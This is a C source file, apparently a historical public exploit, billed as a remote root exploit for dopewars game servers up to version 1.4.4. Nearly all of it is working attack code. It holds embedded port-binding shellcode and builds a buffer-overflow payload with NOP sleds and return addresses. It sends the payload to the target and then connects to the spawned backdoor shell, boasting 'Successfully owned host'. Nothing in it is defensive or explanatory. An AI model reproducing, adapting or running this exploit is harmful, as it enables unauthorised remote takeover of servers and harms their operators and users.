/* * !i! - PRIVATE -- DO NOT DISTRIBUTE -- PRIVATE -- DO NOT DISTRIBUTE - !i! * * Copyright (c) anathema * * Dopewars remote root exploit, version 0x02 * Exploits all dopewars versions prior to, and including, 1.4.4. */ #include #include #include #include #include #include #include #include #include #include #include #include #define DOPEWARS_PRT 7902 #define BD_PRT 36864 #define PRE_NOPS 25 #define MDL_NOPS 23 #define POST_NOPS 358 #define POST_ADDR 0xbffff321 #define SHELL_ADDR 0xbfffff78 #define POST_RET 208 #define SHELL_RET 234 #define POST_OFFSET 28 /* * Portshell shellcode modified so as not to contain 0x5e (popl %esi) * which we replace by (popl %edi, xchgl %edi, %esi) */ char c0de[]= "\xeb\x4b\x5f\x87\xfe\x29\xc0\x29\xdb\x40\x89\x46\x04\x40\x89\x06\xb0\x06\x89" "\x46\x08\xb0\x66\x43\x89\xf1\xcd\x80\x89\x06\xb0\x02\x66\x89\x46\x0c\xb0\x90" "\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x29\xc0\x89\x46\x10\xb0\x10\x89\x46" "\x08\xb0\x66\x43\xcd\x80\x29\xc0\x40\x89\x46\x04\xb3\x04\xb0\x66\xcd\x80\xeb" "\x02\xeb\x4c\x29\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\x43\xcd\x80\x88\xc3\x29" "\xc9\xb0\x3f\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb8\x2e\x62\x69" "\x6e\x40\x89\x06\xb8\x2e\x73\x68\x21\x40\x89\x46\x04\x29\xc0\x88\x46\x07\x89" "\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x29\xc0" "\x40\xcd\x80\xe8\x62\xff\xff\xff"; u_long resolve_host(u_char *host_name) { struct in_addr addr; struct hostent *host_ent; addr.s_addr = inet_addr(host_name); if (addr.s_addr == -1) { host_ent = gethostbyname(host_name); if (!host_ent) return((u_long)0); memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length); } return(addr.s_addr); } u_char * exploit_buf(void) { u_char buf[4096]; u_long post_addr = POST_ADDR; u_long shell_addr = SHELL_ADDR; int ps_ret = POST_RET, sh_ret = SHELL_RET; post_addr += POST_OFFSET; memset(buf, 0, sizeof(buf)); /* * We add the run of NOPs and the shellcode before the initial (ret) * address. We could possibly add it after the latter (JMP addr) * but then we run the risk of overwriting part of the environment. */ memset(buf, 0x90, PRE_NOPS); memcpy(buf + PRE_NOPS, c0de, strlen(c0de)); memset(buf + PRE_NOPS + strlen(c0de), 0x90, MDL_NOPS); /* Initial return address. */ buf[ps_ret++] = (post_addr & 0xff); buf[ps_ret++] = (post_addr >> 8) & 0xff; buf[ps_ret++] = (post_addr >> 16) & 0xff; buf[ps_ret++] = (post_addr >> 24) & 0xff; /* Pad out to sh_ret */ memset(buf + ps_ret, 0x90, SHELL_RET - ps_ret); /* Add the JMP opcodes */ buf[sh_ret++] = 0xeb; buf[sh_ret++] = 0x04; /* The address to which to JMP */ buf[sh_ret++] = (shell_addr & 0xff); buf[sh_ret++] = (shell_addr >> 8) & 0xff; buf[sh_ret++] = (shell_addr >> 16) & 0xff; buf[sh_ret++] = (shell_addr >> 24) & 0xff; /* Pad out the rest of the buffer (post_nops) */ memset(buf + sh_ret, 0x90, POST_NOPS); return(strdup(buf)); } void shellz(u_long dst_ip) { struct sockaddr_in sin; struct in_addr inaddr; u_char sock_buf[4096]; fd_set fds; int sock; sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } sin.sin_family = AF_INET; sin.sin_port = htons(BD_PRT); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1) { perror("connecting to backdoor"); exit(-1); } /* * Ok. We're connected to our backdoor. */ inaddr.s_addr = dst_ip; fprintf(stderr, "Successfully owned host: `%s` ;)\n", inet_ntoa(inaddr)); for (;;) { FD_ZERO(&fds); FD_SET(0, &fds); /* STDIN_FILENO */ FD_SET(sock, &fds); if (select(255, &fds, NULL, NULL, NULL) == -1) { perror("select"); exit(-1); } memset(sock_buf, 0, sizeof(sock_buf)); if (FD_ISSET(sock, &fds)) { if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1) { fprintf(stderr, "Connection closed by foreign host.\n"); exit(0); } fprintf(stderr, "%s", sock_buf); } if (FD_ISSET(0, &fds)) { read(0, sock_buf, sizeof(sock_buf) - 1); write(sock, sock_buf, strlen(sock_buf)); } } /* NOTREACHED */ } void init_connection(u_long dst_ip, u_short src_prt, u_short dst_prt) { struct sockaddr_in sin; u_char buf[10000]; int sock, one = 1, *o_ptr = &one; memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "%s^\n", exploit_buf()); sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sock == -1) { perror("socket allocation"); exit(-1); } if (src_prt) { struct sockaddr_in min; if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, o_ptr, sizeof(one)) == -1) { perror("setsockopt SO_REUSEADDR"); exit(-1); } min.sin_family = AF_INET; min.sin_port = htons(src_prt); min.sin_addr.s_addr = INADDR_ANY; if (bind(sock, (struct sockaddr *)&min, sizeof(min)) == -1) { perror("bind"); exit(-1); } } sin.sin_family = AF_INET; sin.sin_port = htons(dst_prt); sin.sin_addr.s_addr = dst_ip; if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1) { perror("connecting to `dopewars` server"); exit(-1); } if (write(sock, buf, strlen(buf)) == -1) { perror("write"); exit(-1); } /* * Wait for a short period of time for the shell to spawn, * and then attempt to make a connection to it (TCP/36864). */ sleep(2); shellz(dst_ip); /* NOTREACHED */ } void usage(u_char *argv0) { fprintf(stderr, "No.\nusage:\t%s dst_host|ip [-s src_prt] [-d dst_prt]\n" "Default destination|dopewars port is %d.\n", argv0, DOPEWARS_PRT); exit(0); } int main(int argc, char **argv) { u_long dst_ip = 0; u_short src_prt = 0, dst_prt = DOPEWARS_PRT; char opt; fprintf(stderr, "dopewars remote exploit -- anathema@hack.co.za\n"); if (argc < 2) { usage(argv[0]); /* NOTREACHED */ } dst_ip = resolve_host(argv[1]); if (!dst_ip) { fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]); exit(-1); } while ((opt = getopt(argc, argv, "s:d:")) != EOF) { switch (opt) { case 's': src_prt = (u_short)atoi(optarg); break; case 'd': dst_prt = (u_short)atoi(optarg); break; default: usage(argv[0]); /* NOTREACHED */ } } if (src_prt && src_prt < 1024) { /* * Must be root to bind() to a reserved source port. [2000]*/ if (getuid() && geteuid()) { fprintf(stderr, "Insufficient privileges\n"); exit(-1); } } init_connection(dst_ip, src_prt, dst_prt); /* NOTREACHED */ } /* www.hack.co.za [2000]*/